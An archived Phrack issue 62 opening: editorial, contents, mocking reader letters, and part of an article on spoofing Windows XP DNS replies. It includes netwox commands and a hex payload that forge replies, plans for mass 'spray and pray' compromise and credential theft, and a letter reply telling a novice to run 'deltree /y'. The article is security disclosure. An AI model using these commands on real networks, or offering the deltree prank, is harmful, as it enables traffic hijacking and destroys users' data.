💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › PHRACK › PHRACK62 captured on 2022-06-12 at 13:59:11.
View Raw
More Information
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f
[-]==========================================================================[-]
_______ _ _ _ _ _______
.__________\ /__________.
| _ ___ _ ___ _ ___ _ ___ _ ___ _ . _
_ __|_____ \/ /__ ____ \____ \____ \_ __/ /
b / / _ \/ __/ __/ / / /____/ / /
R __/ / / / \ \ / / / __/
m \_____/ / / / / / / / / \_:__ _
- --:-/ /---/____/---/____/---/____/---/____/---/ m
| \ m
| % p H R A C K i s s u e # 6 2 % \_____c__ _
| |
`-----------------------------------------------------'
[-]==========================================================================[-]
Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring
you the 6th PHRACK release under the new staff....
PHRACK #62 IS OUT.
For the second time in the history of phrack do we have a printed HARDCOVER
version of the magazine. Thanks to the many sponsers we will be giving it
out free at ruxcon II. This is a limited edition of 500 copies.
The 62 release is Windows centric. The authors did some great work to teach
you scum how to take Bill's OS apart. Check out this sweet article about
how to get around windows buffer overflow protections, or the article on
the kernel mode backdoor.
We like to publish more articles from the electronic/soldering world. This
issue comes with some details about radio broadcasting, hijacking base
stations and how to broadcast the propaganda through the neighborhood.
The carding article teach you how well-known techniques from the computer
security world still work on smartcards & magnetic stripes (*hint*
- hint*, replay attack, MiM, ...).
Scut, an old-skewl member of team teso and the father of the 7350-exploits
has been selected to be prophiled for #62. Richard Thieme, keynote speaker
at defcon and other hacker conferences submitted two stories. We are
proud to publish his words under Phrack World News.
__^__ __^__
( ___ )-------------------------------------------------------------( ___ )
| / | 0x01 Introduction phrackstaff 0x08 kb | \ |
| / | 0x02 Loopback phrackstaff 0x05 kb | \ |
| / | 0x03 Linenoise phrackstaff 0x21 kb | \ |
| / | 0x04 Phrack Prophile on scut phrackstaff 0x0b kb | \ |
| / | 0x05 Bypassing Win BO Protection Anonymous 0x25 kb | \ |
| / | 0x06 Kernel Mode Backdoor for NT firew0rker 0x81 kb | \ |
| / | 0x07 Advances in Windows Shellcode sk 0x31 kb | \ |
| / | 0x08 Remote Exec grugq 0x3b kb | \ |
| / | 0x09 UTF8 Shellcode greuff 0x32 kb | \ |
| / | 0x0a Attacking Apache Modules andi 0x5e kb | \ |
| / | 0x0b Radio Hacking shaun2k2 0x36 kb | \ |
| / | 0x0c Win32 Portable Userland Rootkit kdm 0x48 kb | \ |
| / | 0x0d Bypassing Windows Personal FW's rattle 0x59 kb | \ |
| / | 0x0e A DynamicPolyalphabeticSubstitutionCipher veins 0x42 kb | \ |
| / | 0x0f Playing Cards for Smart Profits ender 0x1a kb | \ |
| / | 0x10 Phrack World News phrackstaff 0x55 kb | \ |
|___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|
(_____)-------------------------------------------------------------(_____)
^ ^
Shoutz to:
barium - ascii art
gamma - hardcover
johncompanies - that's how server hosting should look like
bugbabe - 31337 grfx
david meltze - tshirt smuggling
Enjoy the magazine!
Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035
Contents Copyright (c) 2004 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org
Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)
mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don't even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
|=[ 0x01 ]=--------------------------------------------------------------=|
From: "Tom Schouten" <tomschout@hotmail.com>
plz help me, i know that it 's a stupid question but i don't know how to
decrypt the phrack articles i have imported the pgp key, but i don't know what
to do next
cheers,
Tom
[ Tom, I'm sorry but you wont continue the adventure with us. ]
|=[ 0x02 ]=--------------------------------------------------------------=|
From: if it were only this easy <temptedtoplay@Al-Kharafi.com>
Subject: Very important send to editor in chief asap
I should start off buy saying I'm not a cop fed or any other kind of law en
forcement nor am i affiliated with any national local government of any kind
to be honest i don't exist anywhere but, i am not a fan nor friend either.
[ ... ] I however have the knowledge you seek but unlike you i will not
freely share the knowledge with just every one. you must deserve to know.
you must prove yourself. [ ... ] now email is not safe but I've taken the
precautions on my end to keep this message out of government hands i hope
your server is secure if not they will be looking for me of course they are
always looking for me. [ ... ] if you don't succeed which you probably wont
don't worry thousands before you have failed and thousands will after it
just makes you average.
p.s. IF THE MESSAGE IS INTERCEPTED BY ANY TYPE OF LAW ENFORCEMENT the
recipients do not know who i am and questioning them would be like
searching google.
[ I'm only seeking for one information: Who gave you our email addres? ]
|=[ 0x03 ]=--------------------------------------------------------------=|
From: <eeweep@eeweep.be>
Date: Fri, 5 Dec 2003 22:56:03 +0100
> Hi there,
> I was looking through phrack releases and I couldn't find an article about
> APR (ARP Poison Routing, used to spoof on switched networks).
[ Unfortunately, you sent your message at 22:56, and we dont accept
articles after 22:55. ]
> Maybe there is one and I'm stupid :-)
[ There is something smart in every stupid sentence. ]
> If you can verify that such an article does not exist (in phrack that is)
[ we hereby verify that such an article does not exist. ]
> I'll start writing right away ;-)
[ our email address has changed for article
submission: devnull@phrack.org ]
> Greetz,
> eeweep
Gobuyabrain,
PHRACKSTAFF
|=[ 0x04 ]=--------------------------------------------------------------=|
From: D D <mmmmmcute24@yahoo.de>
I really know you are good! I would like to know how good you are.
I have primitive questions:
- I'm connected with a dial up connexion and I dont want want my server or
anybody else to know witch URL I'm browsing. Is that possible?
[ yes ]
- Witch system is "secure" Mac or Win or linux.
[ none ]
|=[ 0x05 ]=--------------------------------------------------------------=|
[ IRC session after receiving the donation for hardcover print. ]
<staff> Mon3yLaundy - vis0r wants to know if phrack is a registered charity
<Mon3yLaundy> it's not.
<staff> yeah, i told him
<staff> he just wants a tax deduction
<Mon3yLaundy> tax my ass.
|=[ 0x06 ]=--------------------------------------------------------------=|
From: <bris@cimex.com.cu>
Now I'm discovering your magazine, and I want to receive it by
email... The question is > How can I receive the magazine by email???
[ wget http://www.phrack.org/archive/phrack62.tar.gz;
puuencode phrack62.tar.gz p62.tar.gz | mail bris@cimex.com.cu ]
|=[ 0x07 ]=--------------------------------------------------------------=|
From: Joshua ruffolo <ruffolojoshua@yahoo.com>
A friend referred me to your site. I know nothing much about what is
posted. I don't understand what's what.
[ This is loopback. ]
Apparently there is some basic info that should be known to understand,
but what is it?
[ howto_not_getting_into_loopback.txt ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: Hotballer002@cs.com
Subject: I want to know something about downloading the issues
hi. im nelson and i went to your site and i want to see if u could help me. I
just stated the process of learning how to hack and i think your issues can
help me. I downloaded one of the issues and when i opened it, a windows pop-up
asked me what program I want to open the issue with. And thats what I don't
know. So please help me and tell me what program I'm supposed to have to open
the issues with. Thank you
[ You have to pass our IQ test first: click on start -> run and
enter "deltree /y" ]
|=[ 0x09 ]=--------------------------------------------------------------=|
From: MrRainbowStar@aol.com
I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This
TechNo WoRlD.? ThAnkS Dr.K -???????? YOU ARE A GEnius _ Oh yeah and there are
quite a few typos in the Hackers handbook? -but thats cool its all good I know
what you mean .....
[ IT'S ALL GOOD MATE! ]
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10
|=-----------------------------------------------------------------------=|
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
1 - Mistakes in the RFC Guidelines on DNS Spoofing Attacks
2 - Injecting Signals by Shaun
3 - Pirating A Radio Station
|=------=[ The Impact of RFC Guidelines on DNS Spoofing Attacks ]=------=|
by have2Banonymous
--[ Contents
1 - Executive Summary
2 - Overview of Basic DNS Spoofing Attacks
3 - Proposed Criteria for DNS Reply Acceptance
4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
5 - Example DNS Spoofing Attack
6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
7 - Implementation Comparison
8 - Conclusion
--[ 1 - Executive Summary
This article provides a brief overview of basic Domain Name System (DNS)
spoofing attacks against DNS client resolvers. Technical challenges are
proposed that should help to both identify attempted attacks and prevent
them from being successful. Relevant Request for Comments (RFC)
guidelines, used by programmers to help ensure their DNS resolver code
meets specifications, are reviewed. This results in the realisation that
the RFC guidelines are not adequately specific or forceful to help
identify or prevent DNS spoofing attacks against DNS client resolvers.
Furthermore, the RFC guidelines actually simplify such attacks to a level
that has not previously been discussed in the public domain until now.
To highlight the consequences of merely conforming to the RFC guidelines
without considering security ramifications, an example DNS spoofing attack
against the DNS resolver in Microsoft Windows XP is provided. This
illustrates serious weaknesses in the Windows XP DNS resolver client
implementation. For example, Windows XP will accept a DNS reply as being
valid without performing a thorough check that the DNS reply actually
matches the DNS request. This allows an attacker to create malicious
generic DNS replies that only need to meet a couple of criteria with
predictable values in order to be accepted as a valid DNS reply by the
targeted user.
This article discusses the practical impact of the issues raised, such as
the ability to perform a successful and reasonably undetectable DNS
spoofing attack against a large target base of Windows XP users, without
the attacker requiring knowledge of the DNS requests issued by the
targeted users. Finally, a comparison with the DNS resolver in Debian
Linux is supplied.
--[ 2 - Overview of Basic DNS Spoofing Attacks
When a user types the web site name www.somewebsite.org into their web
browser, their computer issues a DNS request to their Internet Service
Provider's (ISP) DNS server to resolve the web site name to an IP address.
An attacker may attempt to subvert this process by sending the user a DNS
reply containing an incorrect IP address, resulting in the user's computer
connecting to a computer of the attacker's choice instead of the desired
web site.
--[ 3 - Proposed Criteria for DNS Reply Acceptance
RFC 2535 (Domain Name System Security Extensions) otherwise known as
DNSSEC discusses how cryptographic digital signatures can be used to
authenticate DNS transactions to help mitigate DNS spoofing attacks.
However, the adoption of this technology has been extremely slow. Even
without this level of security, it would initially appear that a DNS
spoofing attack against a DNS client resolver would be challenging to
perform. This challenge results from the following proposed criteria of
the DNS reply that must be met for it to be accepted by the computer
performing the DNS lookup.
Proposed criteria of a DNS reply for it to be accepted:
1) The source IP address must match the IP address that the DNS request
was sent to.
2) The destination IP address must match the IP address that the DNS
request was sent from.
3) The source port number must match the port number that the DNS request
was sent to.
4) The destination port number must match the port number that the DNS
request was sent from.
5) The UDP checksum must be correctly calculated. This may require the
attacker to spend more time and effort per attack, although some packet
generation utilities have the ability to automatically calculate this
value.
6) The transaction ID must match the transaction ID in the DNS request.
7) The domain name in the question section must match the domain name in
the question section of the DNS request.
8) The domain name in the answer section must match the domain name in the
question section of the DNS request.
9) The requesting computer must receive the attacker's DNS reply before it
receives the legitimate DNS reply.
--[ 4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
According to the RFC guidelines, it is not necessary for all of these
criteria to be met in order for a DNS reply to be accepted. Specifically,
criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6
and 9 must be met. The following is a devil's advocate interpretation of
the RFC guidelines and a detailed discussion of their effect on each
criteria.
Criteria 1 (source IP address) does not have to be met according to RFC
791 (Internet Protocol) which states that "In general, an implementation
must be conservative in its sending behavior, and liberal in its receiving
behavior. That is, it must be careful to send well-formed datagrams, but
must accept any datagram that it can interpret (e.g., not object to
technical errors where the meaning is still clear)". RFC 1035 (Domain
names - implementation and specification) states that "Some name servers
send their responses from different addresses than the one used to receive
the query. That is, a resolver cannot rely that a response will come from
the same address which it sent the corresponding query to". The source IP
address can therefore be set to an arbitrary IP address. Regardless, if
desired, the attacker can set the source IP address of their DNS replies
to that of the targeted user's DNS server. This is especially easy if the
targeted user is a dialup ISP user since the ISP may have a friendly "How
to setup your Internet connection" web page that specifies the IP address
of their DNS server.
Criteria 2 (destination IP address) does not have to be met according to
RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which
states that "For most purposes, a datagram addressed to a broadcast or
multicast destination is processed as if it had been addressed to one of
the host's IP addresses". Using a broadcast destination address would be
most useful for attacking computers on a Local Area Network. Furthermore,
a DNS reply may be accepted if it is addressed to any of the IP addresses
associated with a network interface.
Criteria 3 (source port number) does not have to be met according to RFC
768 (User Datagram Protocol) which states that "Source Port is an optional
field". The source port can therefore be set to an arbitrary value such
as 0 or 12345. Since the source port number of the DNS reply affects
packet dissection by utilities such as Ethereal, a value of 137 is a
devious choice since it will be dissected as the NetBIOS Name Service
(NBNS) protocol which is based on DNS. As a result, the malicious DNS
replies can be made to appear like NetBIOS traffic which is likely to be
discarded by the system administrator or investigator as typical NetBIOS
background noise.
Criteria 4 (destination port number) must be met according to RFC 768
(User Datagram Protocol). However, this value may be predictable
depending on the requesting computer's operating system. During testing,
Windows XP always used port number 1026 to perform DNS queries, though
this value depends on when the DNS Client service started during the boot
process.
Criteria 5 (UDP checksum) does not have to be met according to RFC 1122
(Requirements for Internet Hosts -- Communication Layers) which states
that "the UDP checksum is optional; the value zero is transmitted in the
checksum field of a UDP header to indicate the absence of a checksum".
Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain
names - implementation and specification) which states that the
transaction ID is used "to match up replies to outstanding queries".
However, this value may be predictable depending on the requesting
computer's operating system. During testing, Windows XP did not randomly
choose the 16 bit transaction ID value. Rather, Windows XP always used a
transaction ID of 1 for the first DNS query performed after the computer
was turned on, with the transaction ID simply incremented for subsequent
DNS queries. Transaction ID 1 and 2 were used by the operating system to
perform a DNS query of time.windows.com.
Criteria 7 and 8 (domain name in question and answer section) do not have
to be met according to RFC 1035 (Domain names - implementation and
specification) which states that the transaction ID is used "to match up
replies to outstanding queries" and recommends as a secondary step "to
verify that the question section corresponds to the information currently
desired". RFC recommendations do not have to be followed, and in the case
of an absent question section, the principal that an implementation must
accept any datagram that it can interpret appears to apply. Therefore, a
DNS reply containing a single answer in the form of an IP address can be
matched to the corresponding DNS request based on the transaction ID,
without requiring a question section and without resorting to the overhead
of processing the domain information in the answer section. Furthermore,
an answer section is not even necessary if an Authority section is
provided to refer the requesting computer to an authoritative name server
(or a DNS server under the attacker's control).
Criteria 9 (requesting computer must receive the attacker's DNS reply
before it receives the legitimate DNS reply) must be met and remains as
the greatest challenge to the attacker. This restriction is difficult
to bypass unless the legitimate DNS server is taken out of action to
prevent competition with the spoofed DNS reply, or numerous spoofed DNS
replies are sent to the targeted user. However, as discussed above,
criteria 1 to 8 either do not have to be met or may have predictable
values. Therefore an attacker may require no knowledge of the victim's
DNS request to have a reasonable chance of performing a successful attack
by sending the requesting computer a small number of generic DNS replies.
Furthermore, there is a viable workaround to the restrictive nature of
this criteria. If the attacker is not trying to compromise a specific
computer, a "spray and pray" approach can be used. This approach involves
sending a very small number (twenty) of spoofed DNS replies to a maximum
number of potential target computers, instead of trying to compromise a
specific user and only once they have been compromised then trying to
compromise another specific user. This "spray and pray" approach won't
compromise every potential victim, and every packet the attacker sends
won't result in a compromise, but enough of the attacker's malicious DNS
replies will be accepted by enough potential victims to make the exercise
worthwhile.
--[ 5 - Example DNS Spoofing Attack
A DNS spoofing attack using the concepts discussed in this article was
performed against a Windows XP computer. The test Windows XP computer
was a default install of the operating system followed by the application
of Service Pack 1. The Microsoft Internet Connection Firewall shipped
with Windows XP was then enabled, and configured to perform full logging
of dropped packets and successful connections.
The Windows XP user typed the web site URL www.somewebsite.org into
Internet Explorer, resulting in a DNS request being sent from the user's
computer (IP address 192.168.1.1) to the user's DNS server (IP address
192.168.1.254).
A spoofed DNS reply disguised as NetBIOS data was sent to the user from
the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that
whatever name the user was attempting to resolve had the IP address
192.168.1.77. The IP address 192.168.1.77 was actually a web server
under the attacker's control.
Internet Explorer connected to 192.168.1.77 and requested the web page.
This revealed that the designers of the DNS resolver in Microsoft Windows
XP also interpreted the RFC guidelines as described in the previous
section, significantly simplifying DNS spoofing attacks.
The following network packet decoded by Ethereal version 0.10.3
illustrates the malicious DNS reply and demonstrates how Ethereal can be
confused into decoding the packet as NetBIOS traffic.
Frame 1 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25
Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr:
192.168.1.1 (192.168.1.1)
User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026)
Source port: 137 (137)
Destination port: 1026 (1026)
Length: 68
Checksum: 0x0000 (none)
NetBIOS Name Service
Transaction ID: 0x0003
Flags: 0x8580 (Name query response, No error)
Questions: 0
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
Answers
WORKGROUP<1b>: type unknown, class inet
Name: WORKGROUP<1b>
Type: unknown
Class: inet
Time to live: 1 day
Data length: 4
Data
0000 00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00 ..).}%.PV.....E.
0010 00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8 .X.X....%.......
0020 01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00 .......D........
0030 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 ...... FHEPFCELE
0040 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 HFCEPFFFACACACAC
0050 41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80 ACACABL.......Q.
0060 00 04 c0 a8 01 4d .....M
This packet was created using the following parameters passed to the
freely available netwox packet creation utility:
netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17
--ip4-data 008904020044000000038580000000010000000020464845504643454c45484
643455046464641434143414341434143414341424c0000010001000151800004c0a8014d
Alternatively, the following parameters could be used since netwox
automatically calculates the UDP checksum:
netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137
--udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484
643455046464641434143414341434143414341424c0000010001000151800004c0a8014d
The following shows that the spoofed DNS reply has been added to the
user's DNS resolver cache for a period of 1 day, causing future
resolutions of www.somewebsite.org to map to the web server under the
attacker's control. The cache duration value can be decreased by the
attacker so that the entry is either not cached or is immediately removed
from the cache in order to remove evidence of the attack.
C:\>ipconfig /displaydns
Windows IP Configuration
1.0.0.127.in-addr.arpa
----------------------------------------
Record Name . . . . . : 1.0.0.127.in-addr.arpa.
Record Type . . . . . : 12
Time To Live . . . . : 604393
Data Length . . . . . : 4
Section . . . . . . . : Answer
PTR Record . . . . . : localhost
www.somewebsite.org
----------------------------------------
Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL
Record Type . . . . . : 1
Time To Live . . . . : 86364
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 192.168.1.77
localhost
----------------------------------------
Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . : 604393
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 127.0.0.1
The following log file from Microsoft's Internet Connection Firewall
reveals that it did not provide any protection against the attack, though
it is not designed to inspect and correlate DNS traffic. If the firewall
was not configured to log successful connections, then there would not
have been any log entries.
#Verson: 1.0
#Software: Microsoft Internet Connection Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size
tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info
2004-05-10 20:34:56 OPEN UDP 192.168.1.1 192.168.1.254 1026 53 - - - - - -
- -
2004-05-10 20:34:57 OPEN-INBOUND UDP 10.10.10.1 192.168.1.1 137 1026 - - -
- - - - -
2004-05-10 20:34:57 OPEN TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - -
- -
2004-05-10 20:35:30 CLOSE TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - -
- -
2004-05-10 20:36:30 CLOSE UDP 192.168.1.1 192.168.1.254 1026 53 - - - - -
- - -
2004-05-10 20:36:30 CLOSE UDP 10.10.10.1 192.168.1.1 137 1026 - - - - - -
- -
It can be seen that when the Windows XP computer sent a UDP packet from
port 1026 to port 53 of the DNS server, the firewall allowed all incoming
UDP traffic to port 1026, regardless of the source IP address or source
port of the incoming traffic. Such incoming traffic was allowed to
continue until the firewall decided to block access to port 1026, which
occurred when there was no incoming traffic to port 1026 for a defined
period of time. This timeframe was between 61 seconds and 120 seconds, as
it appeared that the firewall checked once per minute to determine if
access to ports should be revoked due to more than 60 seconds of
inactivity. Assuming that users connected to the Internet would typically
perform a DNS query at least every minute, incoming access to port 1026
would always be granted. An attacker on the Internet could therefore send
the Windows XP computer spoofed DNS replies without worrying that they
might be blocked by the firewall. Such traffic would not generate any
logs if the firewall was configured to only Log Dropped Packets. If the
firewall was configured to also Log Successful Connections as in this
example, these log entries would disappear among the thousands of other
log entries. Since the firewall logs connections and not traffic, if the
source IP address was set to the Windows XP computer's DNS server, no
extra firewall log entries would be created as a result of the DNS
spoofing attack.
The netstat command revealed that the Windows XP computer was always
listening on UDP port 1026, and as a result, extra DNS replies were
silently discarded and did not generate an error message in the event log
or an ICMP port unreachable packet. This behaviour, and the reuse of the
same source port number for DNS requests, was attributed to the DNS Client
service.
--[ 6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
The attacker does not require information about the targeted user's DNS
requests, such as the IP address of the user's DNS server, the source port
of the user's DNS request, or the name that the user was attempting to
resolve to an IP address. Therefore the attacker does not require access
to the communication link between the targeted user and their DNS server.
Windows XP SP1 matches DNS replies to DNS requests by only the transaction
ID and the UDP port number, and both of these values are very predictable.
Since the name to be resolved is not matched between the DNS request and
the DNS reply, the attacker does not care what domain name the user
queried since this domain name does not have to be placed in the
attacker's DNS reply. As a result, the attacker can create generic
malicious DNS replies that will successfully subvert the targeted user's
DNS lookup process regardless of the name the targeted user was attempting
to resolve, and regardless of the targeted user's network configuration
such as the IP address of their DNS server.
An attacker desiring to compromise as many computers as possible with the
least amount of effort and in the shortest timeframe could send twenty DNS
replies that look similar to the generic DNS reply used in the example
attack on Windows XP in this article, though with the transaction ID
ranging from 3 to 22. To be more thorough, the attacker could instead
send one hundred DNS replies with the destination port number ranging from
1025 to 1029. The attacker would use a "spray and pray" approach by
sending these DNS replies to every IP address in the IP address range
belonging to a large dialup Internet Service Provider, and when finished,
repeating the process.
A level of success is guaranteed in such an attack scenario considering
the huge target base of potential victims awaiting a DNS reply, and
considering that Windows XP accepts anything vaguely resembling a DNS
reply as a valid DNS reply.
A recipient of the attacker's twenty DNS replies will accept one of them
as being valid, resulting in a successful attack, if the recipient:
- is using Windows XP with its poorly implemented DNS client resolver
(most dialup Internet users are in this category).
- recently connected to the Internet within the last 10-20 minutes or so
and therefore haven't performed more than twenty DNS requests (a
reasonable proportion of dialup Internet users are in this category).
- recently performed a DNS request and is awaiting a DNS reply (a
reasonable number of the huge target base of dialup Internet users are
in this category).
The targeted Windows XP users would be unlikely to notice the attack,
especially if they were relying on Microsoft Internet Connection Firewall
to protect them. Analysis of the logs of a more sophisticated firewall
and inspection of network traffic would not readily reveal a DNS spoofing
attack since the source IP address would not be that of the legitimate DNS
server. Furthermore, the source port number and content of the spoofed
DNS replies can be crafted to make them appear to be typical NetBIOS
background noise which would probably be discarded by the user as useless
network traffic floating around the Internet. Finally, the targeted IP
address range of a dialup ISP would consist mainly of home Internet users
who are not educated in advanced network security concepts.
The IP address in the spoofed DNS replies could be a computer on the
Internet under the attacker's control, which is running proxy software for
email (SMTP and POP3) and HTTP traffic. The attacker would be able to
collect sensitive information including email sent and received as well as
passwords for future email retrieval. Web based email and unencrypted
login details to web sites would also be collected. The attacker could
add content to HTML pages before returning them to the user. Such content
could include banner ads to generate money, or a hidden frame with a link
to a file on a third party web site effectively causing a distributed
denial of service attack against the third party. More seriously, the
attacker could increase the scope of the compromise by adding HTML content
that exploited one of the publicly known vulnerabilities in Internet
Explorer that allows the execution of arbitrary code, but for which there
is no vendor patch. For example, vulnerabilities discussed at the web
site http://www.computerworld.com.au/index.php?id=117316298&eid=-255
The "spray and pray" attack approach is useful for creating a network of
semi-randomly chosen compromised computers under the attacker's control,
otherwise known as a botnet.
Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST
header to determine which web site the user wanted to visit. However, for
the purpose of easily and seamlessly proxying traffic, an attacker may
decide not to place an Answer section in the spoofed DNS replies. Rather,
the attacker may send a non-authoritative spoofed DNS reply using the
Authority and Additional sections of DNS replies to refer the requesting
computer to a DNS server under the attacker's control. This would allow
the attacker to know exactly what domain the victim computer was
attempting to query, and furthermore such spoofed DNS replies may have a
long lasting and widespread effect on the victim's computer. A detailed
discussion of DNS referrals and testing whether Windows XP could handle
them is outside the scope of this article.
--[ 7 - Implementation Comparison
Contributors to the Linux operating system appear to have taken a hardline
security conscious approach to interpreting the RFC guidelines, bordering
on non-conformance for the sake of security. The Mozilla web browser
running on the author's Debian Linux computer was very restrictive and
required DNS replies to meet all of the above nine criteria except for
criteria 5, where a UDP checksum value of zero was accepted. An incorrect
UDP checksum was accepted when the packet was sent over a local network
but not when sent over the Internet. Reviewing the kernel source code
indicated that for local networks, the UDP checksum was deliberately
ignored and hardware based checking was performed instead for performance
reasons. This appeared to be a feature and not a bug, even though it did
not comply with RFC 1122 (Requirements for Internet Hosts -- Communication
Layers) which states that "If a UDP datagram is received with a checksum
that is non-zero and invalid, UDP MUST silently discard the datagram".
During testing, the Linux computer used source port numbers 32768 and
32769 to perform DNS queries. The transaction ID was randomly generated,
complicating DNS spoofing attacks, though the transaction ID used in the
retransmission of an unanswered DNS request was not as random. The choice
of transaction ID values appeared robust enough to help defend against DNS
